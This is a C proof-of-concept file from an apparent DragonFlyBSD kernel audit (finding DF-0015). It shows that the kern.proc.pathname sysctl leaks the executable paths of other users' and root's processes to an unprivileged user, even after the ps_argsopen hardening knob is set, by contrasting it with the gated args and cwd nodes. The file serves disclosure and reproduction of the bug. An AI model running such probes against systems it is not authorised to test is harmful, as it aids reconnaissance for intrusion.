DragonFlyBSD Kernel Audit
DF-0015 / leak_pathname.c
← back to finding ↓ download raw
/*
 * DF-0015 PoC - sysctl_kern_proc_pathname discloses the executable path of
 * arbitrary processes (including other users'/root's) with NO visibility
 * check, and is NOT controllable by the ps_argsopen hardening knob.
 *
 * sysctl_kern_proc_pathname (sys/kern/kern_proc.c:2080-2117) does pfind(pid)
 * and cache_fullpath() with NO p_trespass / ps_argsopen gate. Its siblings:
 *   sysctl_kern_proc_args  (kern_proc.c:1897)   -> if((!ps_argsopen) && p_trespass(..)) goto done;
 *   sysctl_kern_proc_cwd   (kern_proc.c:2052)   -> same gate
 * apply the gate. ps_argsopen defaults to 1 (kern_exec.c:103) which DISABLES
 * the gate; an admin who wants to hide other processes sets
 *   sysctl kern.ps_argsopen=0      (kern_exec.c:104, CTLFLAG_RW)
 * at which point args/cwd are restricted to owner+root but pathname is NOT --
 * it has no gate at all, so it leaks every process's exe path regardless.
 *
 * These are "node that takes a pid child" sysctls, so the pid must be passed
 * as a trailing MIB element via sysctlnametomib() + sysctl(), not via the
 * dotted sysctlbyname() name.
 *
 * Build (DragonFlyBSD): cc -o leak_pathname leak_pathname.c
 * Run as an UNPRIVILEGED user: ./leak_pathname
 *
 * Expected (bug present):
 *   - kern.proc.pathname.<root pid> returns the path (e.g. /sbin/init) in
 *     BOTH the default (ps_argsopen=1) and hardened (ps_argsopen=0) config.
 *   - kern.proc.args.<root pid> and .cwd.<root pid> are open when
 *     ps_argsopen=1 but BLOCKED when ps_argsopen=0.
 *   => pathname is the lone sibling that cannot be restricted -> DF-0015.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int ps_argsopen_value(void)
{
	int mib[2] = { CTL_KERN, 14 /* KERN_PS_ARGOPEN */ };
	/* fall back to sysctlbyname for portability */
	int v = -1; size_t l = sizeof(v);
	if (sysctlbyname("kern.ps_argsopen", &v, &l, NULL, 0) != 0) v = -1;
	return v;
}

static void try_node(const char *label, const char *node, int pid)
{
	int mib[8]; size_t miblen = 4; char buf[1024]; size_t len; int r;
	miblen = 4;
	if (sysctlnametomib(node, mib, &miblen) != 0) {
		printf("  %-22s .%-5d: nametomib failed\n", node, pid);
		return;
	}
	mib[miblen] = pid;
	len = sizeof(buf);
	r = sysctl(mib, miblen + 1, buf, &len, NULL, 0);
	if (r == 0 && len > 0) {
		buf[len < sizeof(buf) ? len : sizeof(buf) - 1] = 0;
		printf("  %-22s .%-5d: rc=0 len=%3zu  '%s'\n", node, pid, len, buf);
	} else {
		printf("  %-22s .%-5d: rc=%d len=%zu  (blocked/empty)\n",
		       node, pid, r, len);
	}
	(void)label;
}

int main(int argc, char **argv)
{
	int target = (argc > 1) ? atoi(argv[1]) : 1;	/* default: init (root) */

	printf("running as uid=%d (%s); self pid=%d; target pid=%d (not ours)\n",
	       (int)getuid(), argv[0], (int)getpid(), target);
	printf("kern.ps_argsopen = %d\n\n", ps_argsopen_value());

	printf("=== exe-path leak via kern.proc.pathname.<target> ===\n");
	try_node("kern.proc.pathname", "kern.proc.pathname", target);

	printf("\n=== contrast: gated siblings on the same target ===\n");
	try_node("kern.proc.args", "kern.proc.args", target);
	try_node("kern.proc.cwd",  "kern.proc.cwd",  target);

	printf("\n=== self control (we own self) ===\n");
	try_node("kern.proc.pathname", "kern.proc.pathname", (int)getpid());

	printf("\n=== several other root-owned daemons ===\n");
	int pids[] = { 1, 68, 285, 328, 411, 699, 730, 0 };
	for (int i = 0; pids[i]; i++)
		try_node("kern.proc.pathname", "kern.proc.pathname", pids[i]);

	printf("\nINTERPRETATION:\n");
	printf("  - pathname.<target> returns a path  -> exe path of a process we\n");
	printf("    do NOT own is leaked to us.\n");
	printf("  - If ps_argsopen==0 and args/cwd are blocked while pathname is\n");
	printf("    NOT, then pathname is the un-gated sibling -> DF-0015 reproduced.\n");
	return 0;
}